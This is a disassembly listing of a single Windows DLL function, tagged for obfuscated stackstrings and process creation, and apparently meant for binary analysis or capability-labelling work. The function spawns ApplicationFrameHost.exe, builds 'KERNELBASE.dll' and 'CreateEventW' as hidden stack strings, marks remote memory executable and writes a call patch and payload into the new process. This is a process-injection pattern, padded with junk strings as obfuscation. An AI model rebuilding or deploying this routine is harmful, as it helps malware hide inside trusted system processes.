Function at 0x180008ba0
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x8e8
mov rax, qword [0x180052080]
xor rax, rsp
mov qword [rsp + 0x8d8], rax
mov qword [rsp + 0x7f0], 0
mov eax, 3
mov word [rsp + 0x12c], ax
mov dword [rsp + 0x98], 0
mov eax, 1
mov word [rsp + 0x164], ax
lea rax, [rsp + 0x778]
lea rcx, str.FURlwKqHJSanshjbMuAIXVQirTOoecLmtpyBfZCNkzdPYvxDWgG
mov rdi, rax
mov rsi, rcx
mov ecx, 0x34
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x298], 6
mov byte [rsp + 0x89], 0x62
mov qword [rsp + 0x250], 0
mov eax, 3
mov word [rsp + 0x194], ax
mov byte [rsp + 0x8c8], 0x4b
mov byte [rsp + 0x8c9], 0x45
mov byte [rsp + 0x8ca], 0x52
mov byte [rsp + 0x8cb], 0x4e
mov byte [rsp + 0x8cc], 0x45
mov byte [rsp + 0x8cd], 0x4c
mov byte [rsp + 0x8ce], 0x42
mov byte [rsp + 0x8cf], 0x41
mov byte [rsp + 0x8d0], 0x53
mov byte [rsp + 0x8d1], 0x45
mov byte [rsp + 0x8d2], 0x2e
mov byte [rsp + 0x8d3], 0x64
mov byte [rsp + 0x8d4], 0x6c
mov byte [rsp + 0x8d5], 0x6c
mov byte [rsp + 0x8d6], 0
mov eax, 9
mov word [rsp + 0xa0], ax
mov byte [rsp + 0x9c], 0x72
mov byte [rsp + 0x60], 0
mov dword [rsp + 0x214], 0
mov qword [rsp + 0x2a8], 2
mov byte [rsp + 0x8b0], 0x43
mov byte [rsp + 0x8b1], 0x72
mov byte [rsp + 0x8b2], 0x65
mov byte [rsp + 0x8b3], 0x61
mov byte [rsp + 0x8b4], 0x74
mov byte [rsp + 0x8b5], 0x65
mov byte [rsp + 0x8b6], 0x45
mov byte [rsp + 0x8b7], 0x76
mov byte [rsp + 0x8b8], 0x65
mov byte [rsp + 0x8b9], 0x6e
mov byte [rsp + 0x8ba], 0x74
mov byte [rsp + 0x8bb], 0x57
mov byte [rsp + 0x8bc], 0
mov byte [rsp + 0x61], 0
mov qword [rsp + 0x2b0], 0
mov dword [rsp + 0x218], 8
mov qword [rsp + 0x2b8], 9
mov byte [rsp + 0x62], 0x62
mov qword [rsp + 0x2c0], 0
mov qword [rsp + 0x2c8], 6
mov byte [rsp + 0x63], 0x76
mov dword [rsp + 0x21c], 5
mov qword [rsp + 0x2d0], 0
lea rax, [rsp + 0x490]
lea rcx, str.tlsgqrakYnMcRoDxd
mov rdi, rax
mov rsi, rcx
mov ecx, 0x12
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0xa4], ax
lea rcx, [rsp + 0x8c8]
call fcn.180007700
mov rcx, rax
call fcn.180005f30
mov qword [rsp + 0x1a0], rax
mov eax, 3
mov word [rsp + 0xa8], ax
mov byte [rsp + 0x64], 0
mov qword [rsp + 0x2d8], 1
mov eax, 6
mov word [rsp + 0xac], ax
mov dword [rsp + 0x220], 2
mov byte [rsp + 0x65], 0x7a
cmp qword [rsp + 0x1a0], 0
jne 0x180008f2b
lea rdx, str.aiSOmuNXRbrAwPtvJQfqKzeT
lea rcx, [0x180053760]
call fcn.180011f60
lea rdx, [rsp + 0x8c8]
mov rcx, rax
call fcn.180011f60
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov eax, 5
mov word [rsp + 0xb0], ax
mov qword [rsp + 0x2e0], 4
mov eax, 3
mov word [rsp + 0xb4], ax
mov dword [rsp + 0x224], 5
mov byte [rsp + 0x66], 0x76
lea rax, [rsp + 0x7b0]
lea rcx, str.ybBlMroUNCYtRiZmdckfjHLwXJSIGQnxupEPVgzeKhqaODAvFTWs
mov rdi, rax
mov rsi, rcx
mov ecx, 0x35
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2e8], 0
mov dword [rsp + 0x16c], 0xfffffffe
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x16c]
jmp 0x18000a023
lea rdx, str.drbixOwCIscWmVjUuqgN
lea rcx, [0x180053760]
call fcn.180011f60
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov qword [rsp + 0x308], 8
lea rdx, [rsp + 0x8b0]
mov rcx, qword [rsp + 0x1a0]
call fcn.180005ff0
mov qword [rsp + 0x7e8], rax
cmp qword [rsp + 0x7e8], 0
jne 0x180009019
lea rdx, str.EpyKhGMluwDNLoAaZiqHRFbemdYTzrkItc
lea rcx, [0x180053760]
call fcn.180011f60
mov rdx, qword [rsp + 0x7e8]
mov rcx, rax
call fcn.18000b9d0
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov byte [rsp + 0x68], 0x6e
mov dword [rsp + 0x170], 0xfffffffe
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x170]
jmp 0x18000a023
lea rdx, str.dcBLUigAJHKnXNWpvtEIlwuPoSkyF
lea rcx, [0x180053760]
call fcn.180011f60
mov rdx, qword [rsp + 0x7e8]
mov rcx, rax
call fcn.18000b9d0
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov eax, 8
mov word [rsp + 0xbc], ax
lea rax, [rsp + 0x678]
lea rcx, str.gcOWayxUSpJeKFVZQziATvMDChmHlsujfwXNLPnqbdEYkr
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2f
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x840]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x840], 0x68
mov qword [rsp + 0x320], 5
lea rax, [rsp + 0x828]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, str.C:WindowsSystem32ApplicationFrameHost.exe
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x828]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x840]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x1a8]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800091ce
lea rcx, str.cDoxN
call fcn.1800014c0
mov byte [rsp + 0x6a], 0
mov byte [rsp + 0x6b], 0x62
mov rdx, qword [rsp + 0x828]
lea rcx, str.fmCGPZOXvzhFTtiLKDkrbEpYBlNcoAVwHWqgduSsanUyIRe
call fcn.1800014c0
mov rdx, qword [rsp + 0x830]
lea rcx, str.pbLrwQDzkdWvfYIaXECKUnRTZcmoFyNMBlgVGsHOxPqJSeuth
call fcn.1800014c0
mov byte [rsp + 0x6c], 0x70
mov byte [rsp + 0x6d], 0
mov eax, 6
mov word [rsp + 0xc0], ax
mov qword [rsp + 0x328], 0
lea rax, [rsp + 0x440]
lea rcx, str.wGJSRdZim
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x330], 9
mov eax, 1
mov word [rsp + 0xc4], ax
mov rax, qword [rsp + 0x828]
mov qword [rsp + 0x7f0], rax
mov byte [rsp + 0x6e], 0
mov byte [rsp + 0x6f], 0x47
jmp 0x180009211
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x1a8]
lea rcx, str.woCAWONTDpnjRYQqicLafHbsxtV
call fcn.1800014c0
mov byte [rsp + 0x70], 0
mov byte [rsp + 0x71], 0x6b
lea rax, [rsp + 0x568]
lea rcx, str.bDtlfMnKAdrRCmyBjNEuUvYkJZiWFOexXpg
mov rdi, rax
mov rsi, rcx
mov ecx, 0x24
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x7f0], 0
jne 0x180009283
cmp dword [rsp + 0x98], 0
jne 0x180009283
mov edx, dword [rsp + 0x98]
lea rcx, str.ektTZwvqRrpXGhbSnFMfOoimdDQJVAH
call fcn.1800014c0
mov qword [rsp + 0x338], 0
mov eax, 5
mov word [rsp + 0xc8], ax
mov eax, 6
mov word [rsp + 0xcc], ax
mov dword [rsp + 0x174], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x174]
jmp 0x18000a023
mov edx, dword [rsp + 0x98]
lea rcx, str.ibALKQPydGRhWaDB
call fcn.1800014c0
lea rcx, str.AnBUKDcfYdEsNwFhbgjPl
call fcn.1800014c0
mov byte [rsp + 0x72], 0x4f
mov qword [rsp + 0x340], 7
mov byte [rsp + 0x73], 0
lea rax, [rsp + 0x6a8]
lea rcx, str.XteGoPxKguvMilNLbsUSzjEqFrfDTCcyZROJQwmdknpHaI
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2f
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x1b8], 8
mov qword [rsp + 0x348], 0
mov eax, 3
mov word [rsp + 0xd0], ax
mov rcx, qword [rsp + 0x900]
call fcn.18000c700
add rax, 0x38
mov r8, rax
mov rdx, qword [rsp + 0x7e8]
mov rcx, qword [rsp + 0x7f0]
call fcn.1800084a0
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1800093d6
lea rcx, str.uegXvEpbYaJnHxRhm
call fcn.1800014c0
lea rax, [rsp + 0x740]
lea rcx, str.TsGKaDNjACmvOBqtIkcPpLxhdEUSnWQuwRiHegXJZlyfrVFMob
mov rdi, rax
mov rsi, rcx
mov ecx, 0x33
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x1bc], 6
xor eax, eax
mov word [rsp + 0xd4], ax
mov byte [rsp + 0x74], 0
mov eax, 6
mov word [rsp + 0xd8], ax
mov qword [rsp + 0x350], 0
mov dword [rsp + 0x178], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x178]
jmp 0x18000a023
lea rdx, str.DAQxCYWpuvFsoZhEXVqLUdtlrifcIBzOyPGmnJNgb
lea rcx, [0x180053760]
call fcn.180011f60
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov eax, 6
mov word [rsp + 0xe0], ax
lea rdx, [rsp + 0x8b0]
lea rcx, str.FlZwRXdPayhHnGTEStYfWOjBrLqpC
call fcn.1800014c0
mov rax, qword [rsp + 0x7e8]
mov rax, qword [rax]
mov qword [rsp + 0x1b0], rax
mov r8, qword [rsp + 0x1b0]
mov rdx, qword [rsp + 0x7e8]
lea rcx, str.nYuctZWOqEN
call fcn.1800014c0
mov qword [rsp + 0x360], 8
mov byte [rsp + 0x77], 0x47
xor eax, eax
mov word [rsp + 0xe4], ax
lea rax, [rsp + 0x518]
lea rcx, str.tWspRwGhoPBQlImgUMjAbcONfuydKFrCYa
mov rdi, rax
mov rsi, rcx
mov ecx, 0x23
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x368], 0
mov byte [rsp + 0x78], 0
lea rcx, str.MGQOfXBtEcweUhqWyCHPzoiaFJrZkbImgnuVlKY
call fcn.1800014c0
mov byte [rsp + 0x79], 0
mov dword [rsp + 0x1c0], 3
mov eax, 8
mov word [rsp + 0xe8], ax
mov qword [rsp + 0x370], 0
mov rcx, qword [rsp + 0x1b0]
call fcn.1800088d0
lea rax, [rsp + 0x240]
lea rcx, str.fZwpd
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x1c4], 6
mov eax, 3
mov word [rsp + 0xec], ax
mov qword [rsp + 0x378], 0
mov eax, 5
mov word [rsp + 0xf0], ax
lea rdx, [rsp + 0x8b0]
lea rcx, str.hIalcy
call fcn.1800014c0
mov qword [rsp + 0x380], 0
mov eax, 3
mov word [rsp + 0xf4], ax
mov dword [rsp + 0x1c8], 0
mov qword [rsp + 0x388], 0
mov byte [rsp + 0x7a], 0
mov qword [rsp + 0x390], 0
mov qword [rsp + 0x398], 0
xor eax, eax
mov word [rsp + 0xf8], ax
mov dword [rsp + 0x1cc], 0
mov qword [rsp + 0x3a0], 3
mov byte [rsp + 0x7b], 0
mov rax, qword [rsp + 0x7e8]
mov qword [rsp + 0x808], rax
mov qword [rsp + 0x3a8], 0
mov qword [rsp + 0x3b0], 5
lea rax, [rsp + 0x4a8]
lea rcx, str.ZkJfmdczLoVYTUePiaqHwRjulAy
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1c
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0xfc], ax
mov eax, 5
mov word [rsp + 0x100], ax
mov dword [rsp + 0x1d0], 0
mov byte [rsp + 0x7c], 0x67
lea rdx, str.nwyN
lea rcx, [0x180053760]
call fcn.180011f60
mov rdx, qword [rsp + 0x808]
mov rcx, rax
call fcn.18000b9d0
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov qword [rsp + 0x3b8], 0
mov eax, 1
mov word [rsp + 0x104], ax
mov eax, 7
mov word [rsp + 0x108], ax
mov dword [rsp + 0x1d4], 6
mov qword [rsp + 0x3c0], 0
mov r9d, 0x40
lea r8, [rsp + 0x808]
mov edx, 8
lea rcx, [rsp + 0x7f0]
call fcn.180007850
test eax, eax
je 0x1800096f6
lea rcx, str.HdBNLtIkUFxshApoJmvgnwaWGiq
call fcn.1800014c0
mov byte [rsp + 0x7d], 0x47
mov eax, 8
mov word [rsp + 0x10c], ax
mov dword [rsp + 0x17c], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x17c]
jmp 0x18000a023
lea rdx, [rsp + 0x8b0]
lea rcx, str.vkawVIfAlXtK
call fcn.1800014c0
lea rdx, str.dOSLVCqQbwGDFlIfczRatngpjxrKsykUoM
lea rcx, [0x180053760]
call fcn.180011f60
mov rdx, qword [rsp + 0x7e8]
mov rcx, rax
call fcn.18000b9d0
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov eax, 6
mov word [rsp + 0x114], ax
mov qword [rsp + 0x3c8], 7
mov qword [rsp + 0x3d0], 0
mov byte [rsp + 0x7e], 0x4f
mov eax, 1
mov word [rsp + 0x118], ax
mov dword [rsp + 0x1d8], 6
mov byte [rsp + 0x7f], 0
lea rcx, str.ebnAMFdpumNUfjlOQBWZHYIqEkVSLTa
call fcn.1800014c0
mov rax, qword [rsp + 0x7e8]
add rax, 5
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x180], eax
lea rax, [rsp + 0x648]
lea rcx, str.csMEnHyYePIRfvUghQkwqlZpdJLmWzGFuTbOrDjxSoBaN
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2e
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x8c0], 0xe8
mov byte [rsp + 0x8c1], 0
mov byte [rsp + 0x8c2], 0
mov byte [rsp + 0x8c3], 0
mov byte [rsp + 0x8c4], 0
mov qword [rsp + 0x3d8], 0
mov eax, 2
mov word [rsp + 0x11c], ax
lea rax, [rsp + 0x590]
lea rcx, str.GaQLCBcYfwSXqgPzIOEJWevpUbhkTMVyKAFNlR
mov rdi, rax
mov rsi, rcx
mov ecx, 0x27
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x80], 0
mov qword [rsp + 0x3e0], 2
mov dword [rsp + 0x1dc], 5
mov byte [rsp + 0x81], 0x63
mov eax, dword [rsp + 0x180]
mov dword [rsp + 0x8c1], eax
mov byte [rsp + 0x82], 0x4f
mov dword [rsp + 0x1e0], 7
mov qword [rsp + 0x3e8], 0
mov byte [rsp + 0x83], 0
mov qword [rsp + 0x3f0], 4
mov eax, 4
mov word [rsp + 0x120], ax
lea rax, [rsp + 0x450]
lea rcx, str.KWzXAPBxqtL
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x228], 5
mov qword [rsp + 0x3f8], 0
mov dword [rsp + 0x1e4], 5
mov eax, 2
mov word [rsp + 0x124], ax
lea rax, [rsp + 0x8c0]
mov qword [rsp + 0x800], rax
mov qword [rsp + 0x400], 7
mov r9d, 0x40
lea r8, [rsp + 0x800]
mov rdx, qword [rsp + 0x228]
lea rcx, [rsp + 0x7f0]
call fcn.180007850
mov byte [rsp + 0x84], 0x68
mov r9d, 5
lea r8, [rsp + 0x800]
lea rdx, [rsp + 0x7e8]
lea rcx, [rsp + 0x7f0]
call fcn.180007b00
test eax, eax
je 0x180009a17
lea rdx, [rsp + 0x8b0]
lea rcx, str.hABMswWQymJuxcTblKtpR
call fcn.1800014c0
mov dword [rsp + 0x1e8], 7
mov byte [rsp + 0x85], 0
xor eax, eax
mov word [rsp + 0x128], ax
mov qword [rsp + 0x408], 0
mov dword [rsp + 0x184], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x184]
jmp 0x18000a023
lea rdx, [rsp + 0x8b0]
lea rcx, str.tdQWEepOuasjcZzSm
call fcn.1800014c0
mov rcx, qword [rsp + 0x900]
call fcn.18000c700
add rax, 0x38
mov dword [rsp + 0x50], eax
mov byte [rsp + 0x88], 0
lea rax, [rsp + 0x618]
lea rcx, str.bxzZechLPapSIguTkFnyVYtKjrGDHdqQBCJoENOlvsW
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2c
rep movsb byte [rdi], byte [rsi]
lea rdx, str.QGmauDfJjoRUczvTsPLNyqpdkthrnKMVEZx
lea rcx, [0x180053760]
call fcn.180011f60
mov edx, dword [rsp + 0x50]
mov rcx, rax
call fcn.18000c190
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
lea rax, [rsp + 0x4f0]
lea rcx, str.iqaVxABXKLkTwflCYSRGvtzUuWZhFIdNEp
mov rdi, rax
mov rsi, rcx
mov ecx, 0x23
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x418], 0
mov dword [rsp + 0x1f0], 4
mov eax, 8
mov word [rsp + 0x134], ax
mov eax, 2
mov word [rsp + 0x138], ax
movsxd rax, dword [rsp + 0x50]
mov rcx, rax
call fcn.18001881c
mov qword [rsp + 0x230], rax
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x198], rax
lea rax, [rsp + 0x6d8]
lea rcx, str.SumbkqaYWReOCyHgVLQzKPINrMEAnZjJplwXotTdBGcfvD
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2f
rep movsb byte [rdi], byte [rsi]
mov eax, 6
mov word [rsp + 0x13c], ax
mov dword [rsp + 0x1f4], 6
mov eax, 4
mov word [rsp + 0x140], ax
mov qword [rsp + 0x420], 0
mov byte [rsp + 0x90], 0x70
mov qword [rsp + 0x428], 6
mov rcx, qword [rsp + 0x900]
call fcn.18000c700
mov qword [rsp + 0x238], rax
mov rcx, qword [rsp + 0x900]
call fcn.18000c7d0
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 0x38
lea rdx, [0x180052cd0]
mov rcx, qword [rsp + 0x198]
call fcn.180008950
mov dword [rsp + 0x1f8], 4
mov byte [rsp + 0x8a], 0x79
mov qword [rsp + 0x430], 0
lea rax, [rsp + 0x470]
lea rcx, str.AvXrkgjCHQeuGsZ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rdx, str.JwfbNLEpS
lea rcx, [0x180053760]
call fcn.180011f60
mov edx, dword [rsp + 0x50]
mov rcx, rax
call fcn.18000c190
lea rdx, str.PgYXwKaLrumsxyvtiTcflbRodnkUeFzGBhV
mov rcx, rax
call fcn.180011f60
mov rdx, qword [rsp + 0x198]
mov rcx, rax
call fcn.180012320
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov byte [rsp + 0x8b], 0x74
lea rax, [rsp + 0x248]
lea rcx, str.uTnXV
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x1fc], 6
mov eax, 6
mov word [rsp + 0x144], ax
mov qword [rsp + 0x438], 0
mov eax, 3
mov word [rsp + 0x148], ax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x7f8], rax
mov byte [rsp + 0x8c], 0
lea rax, [rsp + 0x540]
lea rcx, str.dmJjYOZEzWxSwKeHgVIyRFLkPoDrpBiquMQb
mov rdi, rax
mov rsi, rcx
mov ecx, 0x25
rep movsb byte [rdi], byte [rsi]
mov eax, 5
mov word [rsp + 0x14c], ax
mov qword [rsp + 0x258], 4
mov eax, 1
mov word [rsp + 0x150], ax
mov byte [rsp + 0x8d], 0x53
mov dword [rsp + 0x200], 0
lea rdx, str.IkpnTSLMQFxhgJdXfqYVtzmBOesAERZvGorlcDN
lea rcx, [0x180053760]
call fcn.180011f60
mov rdx, qword [rsp + 0x7f8]
mov rcx, rax
call fcn.18000b9d0
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov qword [rsp + 0x260], 7
lea rax, [rsp + 0x708]
lea rcx, str.JzacbPGgQMAqSlNoKxeUCkvFHZyYWhdRLnXjfDtIVuimpTBr
mov rdi, rax
mov rsi, rcx
mov ecx, 0x31
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x50]
mov r9d, 4
lea r8, [rsp + 0x7f8]
mov rdx, rax
lea rcx, [rsp + 0x7f0]
call fcn.180007850
test eax, eax
je 0x180009e16
mov rdx, qword [rsp + 0x58]
lea rcx, str.lPgZvtRfhoMczuXSQdx
call fcn.1800014c0
mov byte [rsp + 0x8e], 0
mov dword [rsp + 0x188], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x188]
jmp 0x18000a023
lea rdx, str.EXpvbtRdyCLsr
lea rcx, [0x180053760]
call fcn.180011f60
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.18000b9d0
lea rdx, [0x1800122d0]
mov rcx, rax
call fcn.18000c5d0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x278], 0
mov qword [rsp + 0x280], 6
xor eax, eax
mov word [rsp + 0x158], ax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x820], rax
lea rax, [rsp + 0x480]
lea rcx, str.VmERJZnjidkQSKF
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x91], 0
mov eax, 7
mov word [rsp + 0x15c], ax
movsxd rax, dword [rsp + 0x50]
mov r9, rax
lea r8, [rsp + 0x820]
lea rdx, [rsp + 0x818]
lea rcx, [rsp + 0x7f0]
call fcn.180007b00
test eax, eax
je 0x180009f4e
mov rdx, qword [rsp + 0x58]
lea rcx, str.BTCbKcPOr
call fcn.1800014c0
mov qword [rsp + 0x288], 0
mov dword [rsp + 0x208], 0
mov dword [rsp + 0x18c], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x18c]
jmp 0x18000a023
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x810], rax
movsxd rax, dword [rsp + 0x50]
mov r9d, 0x20
lea r8, [rsp + 0x810]
mov rdx, rax
lea rcx, [rsp + 0x7f0]
call fcn.180007850
test eax, eax
je 0x180009fe0
mov rdx, qword [rsp + 0x58]
lea rcx, str.hAqz
call fcn.1800014c0
mov byte [rsp + 0x93], 0
mov dword [rsp + 0x20c], 5
mov eax, 2
mov word [rsp + 0x160], ax
mov qword [rsp + 0x290], 0
mov dword [rsp + 0x190], 0xffffff9d
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov eax, dword [rsp + 0x190]
jmp 0x18000a023
lea rcx, str.TtEvPnfLjgwNOomrbzCR
call fcn.1800014c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x210], 3
mov byte [rsp + 0x94], 0x56
mov qword [rsp + 0x300], 0
mov rcx, qword [rsp + 0x900]
call fcn.18000c7f0
mov rcx, qword [rsp + 0x8d8]
xor rcx, rsp
call fcn.1800184f0
add rsp, 0x8e8
pop rdi
pop rsi
ret